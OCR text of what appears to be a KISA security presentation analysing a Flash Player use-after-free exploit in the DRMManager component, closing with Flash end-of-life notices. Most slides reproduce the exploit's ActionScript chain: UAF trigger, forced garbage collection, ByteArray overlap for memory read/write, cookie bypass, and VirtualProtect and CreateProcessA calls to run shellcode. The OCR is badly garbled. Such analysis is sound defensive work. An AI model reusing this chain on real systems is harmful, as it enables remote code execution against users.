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%l tJZ= &4 (Decript?)

public functinvent:Euent) Cowoid

1
var fiint = 06
var |oader:URLLoader = URLLoader{event . target):
war swf_key_txt:5tring = loader.data.
var declata:Betedrray = new Bytedrraw):
var swf_key:Bytedrray = new Bytedrraw():
forfvar irint = 00 0 < swf_key_txt.length: i =1 + 22
1
swi _kew . writeByteluint{ "0=" + swi_key_txt.substr(i, 2100
h
declata writeBytesithis.binData, 0, this. sz_swf _head):
this.binlata.position = this.sz_swf_head + this.id_len:
var niuint = this.binlata. readUnsisnedint():
thiz.binData.position = 0;
for(i = this.sz_swf _head + this.id_len + 4. i < this.binData. length: i = i + 100)
1

for{j = 0: j < this.id_len: j++)

i
I declata, writeByte(this. bindatali + j] ° swi_kew[i]): decode
iy
h

var |iLoader = new Loader( ). .
| . loadBytes(dechata); Load exploit

addChi 1d( 1.
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e g:ﬁ E:Efg 18 war =04 ¢ iMediaPlaver;
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145
—ir | Bl el 65
oy Sl el 08 20 var SHa07 8 S¥xletlds
—r  Ellewl ag 21
e Sl el b % var SH=06 5 siuielulEg:
—ar | Sl ewl o 23
—x | Sl el dE 24 war SHx03 8 (Timer;
—» | flash 25
S aan0satat 26 Swics iy
- 27
:: 2:22? 28 var Siflxla S of lashOl;
—» | flashé =29
<% flashb - T public function #0715 (paraml:f lashOl)
31 1
32 super();
33 this. SH#=la s = paraml;

T 34 thlSﬁﬁH]EﬁH]B@(j:
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- 3 oFA 949 (Use After Free)

« PrimeTime SDK DRMManager (com.adobe.tvsdk.mediacore.PSDK)

public function trig_uaf() : void {

DRM_MANAGER

var ps:PSDK = null;

DRM _LISTEN_OBJ
// 1. 0|Cjof Sgj|o]o] ‘d’d ' '
var data14:PSDKEventDispatcher = null; A

data14 = ps.createDispatcher(); ,,,,, ] DR_LISTENOBJ
this.8¥"x04§ = ps.createMediaPlayer(data14);

new drm_obj_1() s

// 2. DRMManager X£7|2}
this.drm_obj1= new DRMLIST_Obj(); // DRMOperationCompleteListener
this.§¥Wx048.drmManager.initialize(this.drm_obj1);

// 3. Null DRMOperationCompleteListener (drmManager= A& @EHE HX)
this.drm_obj1 = null; // Enter delayed free list
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- Force Garbage Collect

public function §¥Wx018§(param1:flash01)

{

super();
this.flash01_obj = param1;
this.trig_uaf();

try
{

XKISA

DRM_MANAGER
new drm_obj 1() b DRM _LISTEN._OBJ

drm_obj1=null
freed ’

DRM_MANAGER
DRM _LISTEN_OBJ I

new LocalConnection().connect("foo");
new LocalConnection().connect("foo");

// Force Garbage Collect

i

- 10 -
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- Force Garbage Collect

;—é‘\stacko\ferﬂow Questions Developer Jobs Tags Users Search..

The results are in!

I Force Garbage Collection in AS3? I

k
]
| & oo
: new LocalConnection().connect( 'foo');
; 3 new LocalConnection().connect( 'foo');
} catch (e:*){
A v trace("Forcing Garbage Collection :“te.toString());
18 }
e : an: kb
v moccamaximum 2013.1.9 2% 732
o

r
ik
Nulling your objects will not cause a sweep of your memory.
But there is a way to force garbage collection for testing purposes (found here &)

| To force an immediate GC mark/sweep, all you have to do is call connect() on two LocalConnections with the same name.
This will throw an error, so you'll have to wrap itin a try/catch block.

try | new LocalConnection( ). connect! 'foo' ) new LocalConnect ionl ) . connect! "foo' 1) | catch (er=) {1 .
4 ]

s 11 =



- DRMOperationCompleteListener Class Object &%

try { EFRY

new LocalConnection().connect("foo");
new LocalConnection().connect("foo");

}

catch(e:Error)
{
// dangling pointer2 A&
drm_obj2 = new DRMLIST_Obj();

}

..[ForceGC]..........:.........E ......... :

new LocalConnection.Connect(“foo”);
new LocalConnection.Connect(“foo”);

drm_objl = null 5
> freed

DEM_MANAGER

DRM _LISTEN_OBJ

DRM_MANAGER

ne drm_ob20
(alloc again)

DRM_LISTEN_OB)

12 -
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- Make Dangling Pointer (drm_obj2)

w.. // Timer &%

this.8¥Wx038 = new Timer(100,1000);
this.8¥Wx038.addEventListener("timer",this.checkFreed);

this.8¥Wx038.start(); // flash.display::Loaderinfo -> onDRMError -> Freed drm_obj2

}
. ......... ......... ......... ......... DRM_MANAGER
Ee e DRM_LISTEN_OB}
Freed drm_obj2 by EonDRMErr;orO after 'I:’imer DRM_MANAGER

drmmanager i | drm_obj(dangling pointer) i <
: . freed . | '

DRM_LISTEN_OBJ

-13 -
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- Overlap ByteArray Class Object

public function overlapping_obj() : void {
this.barray_obj = new ByteArrayObj(); // overlapping bytearray class in the freed drm_obj2

this.barray_obj.length = 512;
if(this.drm_obj2.a14 != 0) // drm_obj2 is dangling pointer {

"""" onDRMError( after Timer =~ DRM_MANAGER

lll drm_obj2(dangling pointer) (.. DRM_LISTEN_ OB
freed

Control

Class of yterray

. (alloc) ;

14 -
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- ByteArray

private:

Full memory Read / Write

uint8_t* array;

uint32_t capacity;

uint32_t length;

uint32_t copyOnWrite;
uint32_t check_array;
uint32_t check_capacity;
uint32_t check_length;
uint32_t check_copyOnWrite;

Primitive

XKISA

- 15 -
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- Overlapped Object Memory

[drm_obj2 class memory] Z2|%|7| ™ Overlapped ByteArray Class Object
07689100 5bda1a88 AdobeCPGetAPI+0x4de208 07689100 5bda18d8 AdobeCPGetAPI+0x4de058

07689104 80004b01
07689108 077b61a0
0768910c 0778b208

07689110 00001111 -> drm_obj2.a1

07689114 00002222
07689118 00003333
0768911c 00004444
07689120 00005555
07689124 00006666
07689128 00007777
0768912c 00008888
07689130 00009999
07689134 0000aaaa
07689138 00001111
0768913c 00002222
07689140 00003333
07689174 00006666
07689178 00007777
0768917c 00008888
07689180 00009999
07689184 0000aaaa
07689188 00001111
0768918c 00002222
07689190 00003333
07689194 00004444

07689198 00004444 ->drm_obj2.a35

0768919c 00000000

07689104 00000003

07689108 076ad858

0768910c 07796fa0

07689110 07689118 -> drm_obj2.a1
07689114 00000044

07689118 5bda1880 AdobeCPGetAPI+0x4de000
0768911c 5bda1888 AdobeCPGetAPI+0x4de008
07689120 5bda187c AdobeCPGetAPI+0x4ddffc
07689124 5bde9984 AdobeCPGetAPI+0x526104
07689128 0781f4c0

0768912c 08f1c1f0

07689130 07ba5e80

07689140 5bdb3db0 <ByteArray Object>

07689144 08a45050 -> m_buffer object - drm_obj2.a14
07689148 00000000

0768914c 00000000

07689150 5bda1874 Flash32_28_0_0_137!AdobeCPGetAPI+0x4ddff4
07689154 00000003

07689158 00000000

0768915c 00000011 -> barray_obj.a1

07689188 07689101 -> barray_obij(this)
0768918c 00000001

07689190 00000000

07689194 00000000

07689198 00000000 -> drm_obj2.a35
0768919c 00000000
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- Object Life Cycle

DRM_MANAGER

new drm_obj_1() < DRM_LISTEN_OBJ

[Force GC]
new LocalConnection.Connect(“foo™);

new LocalConnection.Connect(“foo”);
drm_objl = null
freed

DRM_MANAGER

= DRM _LISTEN_OBJ

DRM_MANAGER

ew cim_ obieh «— DRM _LISTEN_OBJ

(alloc again)

onDRMError() after Timer DRM_MANAGER

drm_obj2(dangling pointer) e | DRM _LISTEN_OB)
freed

Control

bl Class of ByteArray
(alloc)

s U7/ =
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- Make Fake m_buffer Object

if(this.drm_obj2.a14 != 0) { // check overlap
for(var icint = 0; i < 5; i++) {
// 1. Dangling pointer2| a.320] a.14(m_buffer) 27|

this.drm_obj2.a32 = this.drm_obj2.a14 + 8 * i + 7;

// 2. Dangling pointer2| a.32& barray_obj.a13(numberEt®), bytearrayE 0|23l NumberztE 21 2{7]

// 3. 2402 m_buffer object dataE barray_obj H+ HH0|| MM fake m_buffer objectE THF

this.barray_obj.write_mbuffer_obij(i * 2 + 1,this.barray_obj.read_mbuffer_obj());

// 4. a.14( X m_buffer T4)E barray_obj.al (fake m_buffer pointer)2| FA2 HZE
this.drm_obj2.a14 = this.drm_obj2.a31 + 19 * 4 + 16 - 1;

-18 -
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 Full r/w memory primitive

07689100 5bda18d8 AdobeCPGetAPI+0x4de058
07689104 00000003

07689108 076ad858

0768910c 07796fa0

07689110 07689118

07689140 5bdb3db0 <ByteArray Object>
07689144 (0768915c) -> Fake m_buffer
07689148 00000000

0768914c 00000000

07689150 5bda1874 Flash32_28_0_0_137!AdobeCPGetAPI+0x4ddff4
07689154 00000003

07689158 00000000

(0768915c) 52571868

07689160 00000001

07689164 00000000 -> array
07689168 ffffffff  -> capacity
0768916c¢ ffffffff -> length
07689170 00000000 -> copyonwrite
07689174 1778926e -> check_array
07689178 e8876d91 -> check_capacity
0768917c e8876d91 -> check_length
07689180 1778926e -> check_copyonwrite
07689184 00000000

07689188 07689101

0768918c 07e25239

07689190 00000000

-19 -
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- Bypass ByteArray security cookie mitigation

// key = array * check_array

var key:uint = this.drm_obj2.a22 » this.drm_obj2.a26;
this.drm_obj2.a22 = 0;

this.drm_obj2.a23 = OxFFFFFFFF;

this.drm_obj2.a24 = OxFFFFFFFF;

this.drm_obj2.a26 = this.drm_obj2.a22 * key;
this.drm_obj2.a27 = this.drm_obj2.a23 * key;
this.drm_obj2.a28 = this.drm_obj2.a24 * key;
this.drm_obj2.a29 = this.drm_obj2.a25 * key;
this.barray_obj.endian = Endian.LITTLE_ENDIAN;

- 20 -
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 Find window function address

- Vtable address — Flash.ocx base address — Search API address

static function findVP() : uint

{
if(flash21.readUTF().toLowerCase() == “virtualprotect”

{
flash63 = Get(b + ft + §¥#x1eWx0bs§ * 4);
C++;
if(c > 1)
else
flash21.position = b + b0;
if(flash21.readUTF().toLowerCase() == “createprocessa”
{
createprocessaFunc = Get(b + ft + §Wx1eWx0b§ * 4);
C++;
if(c > 1)
{
break;
}

- 21 -
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- How to call shellcode

- HackingTeam Z#|A] J A== o) u}Al o] 8- (Back to the 20154)

// 1. 60| victim g+8 MA
static function Payload(...a){}
static function CallVP(vp:uint, xAddr:uint, xLen:uint) {
// 2. Payload &+ QHHEEZS 4
Payload();
// 3. Payload() 2L EM E 0| M vtableZQIE{E Z
var p:uint = GetAddr(Payload);
var ptbluint = Get(Get(Get(Get(p + 8) + 0x14) + 4) + (_isDbg ? Oxbc:0xb0));
// 4. Payload's vtableE S A}
for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4);
// 5. VirtualProtect() T28& X%
_v[0x20+7] = vp;

// 6. VirtualProtect()2| O}t HE MH
Set(p+0x1c, xAddr);
Set(p+0x20, xLen);

var args:Array = new Array(0x41); //set third arg = 0x40 PAGE_EXECUTE_READWRITE

// 1. Payload()2| vtableS CHA|
Set(ptbl, _vAddr + 0x80);

// 8. call VirtualProtect()
var res = Payload.call.apply(null, args);

XKISA

22 -
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- How to call shellcode

- Function Object9 apply FAHZ

Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)

{
thisArg = get_coerced_receiver(thisArg);

// when argArray == undefined or null, same as not being there at all
// see Function/e15 3 4 3 1.as

if ({AvmCore:isNullOrUndefined(argArray))
{

AvmCore* core = this->core();

// FIXME: why not declare argArray as Array in Function.as?
if ({AvmCore:istype(argArray, ARRAY_TYPE))
toplevel()->throwTypeError(kApplyError);

return core->exec->apply(get_callEnv(), thisArg,(ArrayObject*)AvmCore::atomToScriptObject(argArray));

}

else

{

- 23 -
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- How to call shellcode

- Function Object?] apply & F4& HZ

Virtual: 87c2bead Display fol

v .JlE:I
dule TA

XKISA

- 24 -
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- How to call shellcode

static function callVP(param1:uint, param2:uint, param3:uint) : * {
var _loc10_:uint = O;
flash1000();
var _loc4_uint = GetObjAddr(flash1000);
var _loc5_:uint = Get(Get(Get(_loc4_ + 8) + 20) + 4) + (!!flash70?188:176);
var _loc9 :Vector.<uint> = new Vector.<uint>(256);
while(_loc10_ < 256){
loc9 [ loc10 ] = Get( loc6_ - 128 + loc10_ * 4);
loc10_++;
}
_loc9_[32 + 7] = paramT;

Set(_loc4_ + 28,param2); // AHH| mi2io0|g (MIE FA)
Set(_loc4_ + 32,param3); // SHHX mi2io0|g ("I E ZO|)

Set(_loc5_ flash36(_loc9_) + 128); // apply &= ZQIE HX

var _loc11_:Array = new Array(65); // MISH®| mt2j0|E (22| F2f7)
var _loc12_:* = flash1000.call.apply(null,_loc11_); // VirtualProtect 2&
Set(_loc5_, loc6));

Set(_loc4_ + 28,_loc7.);

Set(_loc4_ + 32, loc8);

- 25 -
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- How to call shellcode

Offset: @Sscopeip

A 57

[ Previous |||

MMest

X KISA

 ——

Reqgisters 2
Customize... R
Reg Value n

Memory
Wirtual: esp

Parameter

8 @ 137!IA

lodule TAEKernel UnloadM

- 26 -
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- How to call shellcode

Virtual: poi{poileax+lc)+8)+4

Memory

static function Exec() : *

.....

©
Q
<
>
o
o
=
Il

GetObjAddr(flash1000);
payAddr = Get(Get(payAddr + 0x1C) + 8) + 4;
flash69 = Get(payAddr);

// 'c'él-_Jlk_ 2% E?_lE'l ¢él_=||_E -’F—iﬂ ﬁ}_ Wirtual: ®7bealsc
Set(payAddr,shellcodeAddr); g - ncn

// CreateProcessA S =
res = flash1000.call(null,createprocessaFunc );

Flash32_ 28 @ @ 137!IAEM

o 27 =
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- How to call shellcode

Disassembly
Offset: 081e1004

X KISA

=]
Previous [Mest

- 28 -
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Adobe Flash Player L2 2 &

https:/iget. adobe com/kriflashplayer/ -
Download free Adobe Flash Player software for your Windows, Mac O3, and Unix-based devices to

enjoy stunning audio/video playback, and exciting gameplay.

Adobe Flash Player Ct2 2 &

hitps:/iget adobe. com/kriflashplayer/otherversions/ -

HE 47H: Adobe® Flash® S5|0|HE PHHE HE2 2 EH A 0|7 S22 & 2154l
HEIH 2= B{ED SOIHEE AFEA HED sk 20 2/583d MY 7ls. 121
HSELICH =139 o] A|~"H LA =l ¢l= Flash Players 42556t 0 E2=2 2
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exampie.com

Would you like to use Flash on “example.com"?

To improve security and save energy, Safari only turns on the Flash
plug-in when you request it.

Use Every Time Cancel

XKISA
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XKISA

C | & 2tHE | https://theblog.adobe.com/adobe-flash-update/

2020|
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Apple, Facebook, Google, Microsoft and Mozilla - Adobe is planning to end-of-life Flash.
Specifically, we will stop updating and distributing the Flash Player at the end of 2020 and

encourage content creators to migrate any existing Flash content to these new open formats.

Several industries and businesses have been built around Flash technology - including
gaming, education and video - and we remain committed to supporting Flash through 2020,
as customers and partners put their migration plans into place. Adobe will continue to

support Flash on a number of major OSs and browsers that currently support Flash content

through the planned EOL. This will include issuing regular security patches, maintaining OS

and browser compatibility and adding features and capabilities as needed. We remain fully

Ref: https://theblog.adobe.com/adobe-flash-update/
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* Through the end of 2017 and into 2018, Microsoft Edge will continue to ask users for permission to run Flash
on most sites the first time the site is visited, and will remember the user's preference on subsequent visits.
Internet Explorer will continue to allow Flash with no special permissions required during this time.

* In mid to late 2018, we will update Microsoft Edge to require permission for Flash to be run each session.

Internet Fxplorer will continue to allow Flash for gl sites in 2018

{ In mid to late 2019, we will disable Flash by default in both Microsoft Edge and Internet Explorer.|Users will be
able to re-enable Flash in both browsers. When re-enabled, Microsoft Edge will continue to require approval
for Flash on a site-by-site basis.

1 By the end of 2020, we will remove the ability to run Adobe Flash in Microsoft Edge and Internet Explorer
across all supported versions of Microsoft Windows. Users will no longer have any ability to enable or run
Flash.

Ref: https://blogs.windows.com/msedgedev/2017/07/25/flash-on-windows-timeline/#etdkmP71eXskesZ6.97
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Saying goodbye to Flash in Chrome

Anthony Laforge Today, Adobe announced its plans to stop supporting Flash at the end of 2020.
Product Manager, Google
Chrome For 20 years, Flash has helped shape the way that you play games, watch

25 2017 videos and run applications on the web. But over the last few years, Flash has
become less commaon. Three years ago, 80 percent of desktop Chrome users
visited a site with Flash each day. Today usage is only 17 percent and
continues to decline.

This trend reveals that sites are migrating to open web technologies, which are
faster and more power-efficient than Flash. They're also more securs, s0 you
can be safer while shopping, banking, or reading sensitive documents. They
also work on both mobile and desktop, so you can visit your favorite site
anywhere.

Thease open web technologies became the default experience for Chrome late
last year when sites started needing to ask your permission to run Flash.
Chrome will continue phasing out Flash over the next few years, first by asking
for your permission to run Flash in more situations, and eventually disabling it
by default. We will remove Flash completely from Chrome toward the end of

2020. =LIDE RELATED ARTICLES

Ref: https://www.blog.google/products/chrome/saying-goodbye-flash-chrome/
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